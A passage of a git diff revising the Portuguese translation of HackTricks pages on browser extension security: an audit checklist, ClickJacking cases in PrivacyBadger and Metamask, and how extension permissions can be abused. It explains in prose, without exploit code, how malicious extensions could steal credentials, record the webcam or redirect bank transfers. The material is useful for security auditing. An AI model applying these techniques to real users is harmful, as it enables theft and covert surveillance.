* [ ] **Limitar** o máximo possível as **`host_permissions`**
|
* [ ] **Limitar** o máximo possível as **`host_permissions`**
|
||||||
|
@ -549,10 +549,10 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
|
||||||
* [ ] Se uma **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente aos scripts de segundo plano**. Um bypass muito poderoso.
|
* [ ] Se uma **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens diretamente aos scripts de segundo plano**. Um bypass muito poderoso.
|
||||||
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio, se possível.
|
* [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazio, se possível.
|
||||||
* [ ] Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
|
* [ ] Se **`web_accessible_resources`** não for nenhum, verifique o [**ClickJacking**](browext-clickjacking.md)
|
||||||
* [ ] Se houver **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
|
* [ ] Se houver alguma **comunicação** da **extensão** para a **página da web**, [**verifique XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
|
||||||
* [ ] Se Post Messages forem usados, verifique as [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
|
* [ ] Se Post Messages forem usados, verifique [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
|
||||||
* [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
|
* [ ] Se o **Script de Conteúdo acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
|
||||||
* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> Background script**
|
* [ ] Faça um destaque especial se essa comunicação também estiver envolvida na **comunicação do Script de Conteúdo -> Script de Segundo Plano**
|
||||||
* **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
|
* **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
|
||||||
* **Informações sensíveis não devem ser armazenadas** na memória da Extensão do Navegador
|
* **Informações sensíveis não devem ser armazenadas** na memória da Extensão do Navegador
|
||||||
|
|
||||||
|
@ -567,14 +567,14 @@ Embora as Extensões do Navegador tenham uma **superfície de ataque limitada**,
|
||||||
* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos ao usuário ao tentar instalar a extensão.
|
* Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de permissão do Chrome que serão exibidos ao usuário ao tentar instalar a extensão.
|
||||||
* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
|
* Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam ser potencialmente exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
|
||||||
* Ponto(s) de Entrada: mostra onde a extensão recebe entrada do usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente criados para a extensão.
|
* Ponto(s) de Entrada: mostra onde a extensão recebe entrada do usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente criados para a extensão.
|
||||||
* Tanto as scanners de Função(s) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
|
* Tanto as Função(ões) Perigosa(s) quanto os scanners de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
|
||||||
* Trecho de código relevante e linha que causou o alerta.
|
* Trecho de código relevante e linha que causou o alerta.
|
||||||
* Descrição do problema.
|
* Descrição do problema.
|
||||||
* Um botão "Visualizar Arquivo" para visualizar o arquivo de origem completo contendo o código.
|
* Um botão "Visualizar Arquivo" para visualizar o arquivo de origem completo contendo o código.
|
||||||
* O caminho do arquivo alertado.
|
* O caminho do arquivo alertado.
|
||||||
* O URI completo da extensão do Chrome do arquivo alertado.
|
* O URI completo da extensão do Chrome do arquivo alertado.
|
||||||
* O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
|
* O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
|
||||||
* Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele está incluído, bem como o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) dessas páginas.
|
* Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele está incluído, bem como o tipo dessas páginas e o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
|
||||||
* Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
|
* Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
|
||||||
* Bibliotecas Vulneráveis Conhecidas: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
|
* Bibliotecas Vulneráveis Conhecidas: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
|
||||||
* Baixar extensão e versões formatadas.
|
* Baixar extensão e versões formatadas.
|
||||||
|
@ -609,7 +609,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão do navegador.\
|
Esta página vai abusar de uma vulnerabilidade de ClickJacking em uma extensão do navegador.\
|
||||||
Se você não sabe o que é ClickJacking, confira:
|
Se você não sabe o que é ClickJacking, confira:
|
||||||
|
|
||||||
{% content-ref url="../clickjacking.md" %}
|
{% content-ref url="../clickjacking.md" %}
|
||||||
|
@ -44,7 +44,7 @@ Na extensão PrivacyBadger, foi identificada uma vulnerabilidade relacionada ao
|
||||||
"icons/*"
|
"icons/*"
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
Esta configuração levou a um problema de segurança potencial. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado dentro de um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicar inadvertidamente em "Desativar o PrivacyBadger para este Site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente sujeitar o usuário a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
Esta configuração levou a um problema de segurança potencial. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado em um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicar inadvertidamente em "Desativar o PrivacyBadger para este Site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente expor o usuário a um rastreamento aumentado. Uma demonstração visual desse exploit pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
|
||||||
|
|
||||||
Para resolver essa vulnerabilidade, uma solução direta foi implementada: a remoção de `/skin/*` da lista de `web_accessible_resources`. Essa alteração mitigou efetivamente o risco, garantindo que o conteúdo do diretório `skin/` não pudesse ser acessado ou manipulado por meio de recursos acessíveis pela web.
|
Para resolver essa vulnerabilidade, uma solução direta foi implementada: a remoção de `/skin/*` da lista de `web_accessible_resources`. Essa alteração mitigou efetivamente o risco, garantindo que o conteúdo do diretório `skin/` não pudesse ser acessado ou manipulado por meio de recursos acessíveis pela web.
|
||||||
|
|
||||||
|
@ -95,7 +95,7 @@ Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**]
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para autorizar** quando uma página era suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para autorizar sem perceber, e depois voltar para a página de phishing que seria autorizada.
|
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para autorizar** quando uma página suspeita de phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para autorizar sem perceber, e depois voltar para a página de phishing que seria autorizada.
|
||||||
|
|
||||||
## Exemplo do Steam Inventory Helper
|
## Exemplo do Steam Inventory Helper
|
||||||
|
|
||||||
|
@ -112,14 +112,14 @@ Verifique a seguinte página para ver como um **XSS** em uma extensão do navega
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -30,7 +30,7 @@ Você pode encontrar a [**lista completa de permissões que uma Extensão do Nav
|
||||||
|
|
||||||
### `host_permissions`
|
### `host_permissions`
|
||||||
|
|
||||||
A configuração opcional, mas poderosa, **`host_permissions`** indica com quais hosts a extensão será capaz de interagir por meio de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) e [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
A configuração opcional, mas poderosa, **`host_permissions`** indica com quais hosts a extensão será capaz de interagir via APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) e [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||||
|
|
||||||
As seguintes `host_permissions` basicamente permitem todo o web:
|
As seguintes `host_permissions` basicamente permitem todo o web:
|
||||||
```json
|
```json
|
||||||
|
@ -65,32 +65,32 @@ Além disso, ouvintes como [**tabs.onUpdated**](https://developer.mozilla.org/en
|
||||||
|
|
||||||
Scripts de conteúdo não precisam ser necessariamente escritos estaticamente no manifesto da extensão. Com permissões **`host_permissions`** suficientes, **as extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
Scripts de conteúdo não precisam ser necessariamente escritos estaticamente no manifesto da extensão. Com permissões **`host_permissions`** suficientes, **as extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
||||||
|
|
||||||
Ambas as APIs permitem a execução não apenas de arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a segunda espera uma função JavaScript que é menos suscetível a vulnerabilidades de injeção. Ainda assim, ambas as APIs causarão estragos se forem mal utilizadas.
|
Ambas as APIs permitem a execução não apenas de arquivos contidos na extensão como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a segunda espera uma função JavaScript que é menos propensa a vulnerabilidades de injeção. Ainda assim, ambas as APIs causarão estragos se forem mal utilizadas.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Uma maneira clássica de abusá-los é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Por fim, eles poderiam **manipular** sites de **bancos** para redirecionar transferências de dinheiro.
|
Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas nas páginas da web. Uma maneira clássica de abusá-los é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Por fim, eles poderiam **manipular sites de bancos** para redirecionar transferências de dinheiro.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Privilégios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
|
### Privilégios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||||
|
|
||||||
Alguns privilégios de extensão **não precisam ser declarados explicitamente**. Um exemplo é a [API de abas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sua funcionalidade básica é acessível sem nenhum privilégio. Qualquer extensão pode ser notificada quando você abre e fecha abas, ela simplesmente não saberá com qual site essas abas correspondem.
|
Alguns privilégios de extensão **não precisam ser declarados explicitamente**. Um exemplo é a [API de abas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sua funcionalidade básica é acessível sem nenhum privilégio. Qualquer extensão pode ser notificada quando você abre e fecha abas, apenas não saberá com quais sites essas abas correspondem.
|
||||||
|
|
||||||
Parece inofensivo demais? A [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) é um pouco menos. Ela pode ser usada para **criar uma nova aba**, essencialmente o mesmo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que pode ser chamado por qualquer site. No entanto, enquanto `window.open()` está sujeito ao **bloqueador de pop-ups, `tabs.create()` não está**.
|
Parece inofensivo? A [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) é um pouco menos. Ela pode ser usada para **criar uma nova aba**, essencialmente o mesmo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que pode ser chamado por qualquer site. No entanto, enquanto `window.open()` está sujeito ao **bloqueador de pop-ups, `tabs.create()` não está**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Uma extensão pode criar qualquer número de abas sempre que desejar.
|
Uma extensão pode criar qualquer número de abas sempre que desejar.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Se você examinar os possíveis parâmetros de `tabs.create()`, também notará que suas capacidades vão muito além do que `window.open()` é permitido controlar. E enquanto o Firefox não permite que URIs `data:` sejam usados com esta API, o Chrome não tem essa proteção. **O uso desses URIs no nível superior foi** [**proibido devido a serem abusados para phishing**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
|
Se você olhar através dos possíveis parâmetros de `tabs.create()`, também notará que suas capacidades vão muito além do que `window.open()` é permitido controlar. E enquanto o Firefox não permite que URIs `data:` sejam usados com esta API, o Chrome não tem essa proteção. **O uso desses URIs no nível superior foi** [**proibido por ser abusado para phishing**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.**
|
||||||
|
|
||||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) é muito semelhante a `tabs.create()` mas irá **modificar uma aba existente**. Portanto, uma extensão maliciosa pode, por exemplo, carregar arbitrariamente uma página de publicidade em uma de suas abas e também pode ativar a aba correspondente.
|
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) é muito semelhante a `tabs.create()` mas irá **modificar uma aba existente**. Portanto, uma extensão maliciosa pode, por exemplo, carregar arbitrariamente uma página de publicidade em uma de suas abas e também pode ativar a aba correspondente.
|
||||||
|
|
||||||
### Webcam, geolocalização e amigos <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
### Webcam, geolocalização e amigos <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||||
|
|
||||||
Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com potencial considerável para abuso, então os usuários precisam confirmar isso sempre que solicitado.
|
Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com potencial considerável para abuso, então os usuários precisam confirmar isso a cada vez.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Não é assim com as extensões do navegador. **Se uma extensão do navegador** [**deseja acessar sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
|
Não é assim com as extensões do navegador. **Se uma extensão do navegador** [**quer acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este prompt é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão neste momento. Sim, um usuário só aceitará este prompt se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar na extensão para não gravar nada secretamente.
|
Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este prompt é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão neste momento. Sim, um usuário só aceitará este prompt se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar na extensão para não gravar nada secretamente.
|
||||||
|
@ -99,7 +99,7 @@ Com acesso à [sua localização geográfica exata](https://developer.mozilla.or
|
||||||
|
|
||||||
Adicionar a palavra-chave **`history`** à [entrada de permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**API de histórico**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Isso permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
|
Adicionar a palavra-chave **`history`** à [entrada de permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**API de histórico**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Isso permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
|
||||||
|
|
||||||
A **permissão `bookmarks`** tem potencial de abuso semelhante, esta permite **ler todos os favoritos via** [**API de favoritos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
A **permissão `bookmarks`** tem um potencial de abuso semelhante, esta permite **ler todos os favoritos via** [**API de favoritos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||||
|
|
||||||
### Permissão de armazenamento <a href="#the-storage-permission" id="the-storage-permission"></a>
|
### Permissão de armazenamento <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||||
|
|
||||||
|
@ -113,11 +113,11 @@ Você pode encontrar a [**lista completa de permissões que uma Extensão de Nav
|
||||||
|
|
||||||
## Prevenção <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
## Prevenção <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||||
|
|
||||||
A política do desenvolvedor do Google proíbe explicitamente as extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissão. Um caso em que uma extensão do navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador, em vez de através de uma loja de complementos.
|
A política do desenvolvedor do Google proíbe explicitamente as extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissão. Um caso em que uma extensão do navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador em vez de através de uma loja de complementos.
|
||||||
|
|
||||||
Os navegadores poderiam ainda reduzir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada por meio de interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para que a janela seja gravada, impedindo atividades de gravação clandestinas.
|
Os navegadores poderiam ainda reduzir o uso indevido dos privilégios da extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar o abuso. A API tabCapture só pode ser ativada por meio de interação direta do usuário, como clicar no ícone da extensão, enquanto o desktopCapture requer confirmação do usuário para a janela ser gravada, impedindo atividades de gravação clandestinas.
|
||||||
|
|
||||||
